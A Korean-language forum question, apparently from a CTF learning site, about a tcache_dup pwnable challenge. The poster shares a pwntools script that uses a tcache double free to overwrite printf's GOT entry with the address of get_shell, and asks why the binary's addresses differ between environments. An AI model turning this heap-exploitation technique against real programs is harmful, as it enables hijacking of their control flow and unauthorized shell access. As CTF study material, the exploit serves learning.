get_shell과 printf_got의 주소값이 다릅니다.
원래는 아래와 같이 payload를 짜서 풀었는데 EOF가 나면서 에러가 떴습니다.
from pwn import *
p = remote("host3.dreamhack.games", 11786)
e = ELF("./tcache_dup")
def create(size,data):
p.sendlineafter(">", str(1))
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def delete(idx):
p.sendlineafter(">", str(2))
p.sendlineafter("idx:", str(idx))
get_shell = e.symbols['get_shell']
print_got = e.got['printf']
create(48, b"a"*0x8)
delete(0)
delete(0)
create(48,p64(print_got))
create(48,b'a'*8)
create(48, p64(get_shell))
p.interactive()
그래서 인터넷에 찾아보다보니 저의 get_shell의 주소와 print_got주소가 다르다는 것을 알았습니다. 제 환경에서 get_shell과 print_got의 주소를 출력하면 각각 0x400aa9, 0x602038가 나오는데 문제가 풀리는 주소는 0x400ab0, 0x601038였습니다.
질문은
- 이렇게 주소 차이가 발생하는 이유가 무엇인지요...?
입니다. 답변 부탁드립니다 ㅠㅠ 감사합니다!
#pwnable
작성자 정보
답변
1
탈퇴한 이용자
대표 업적 없음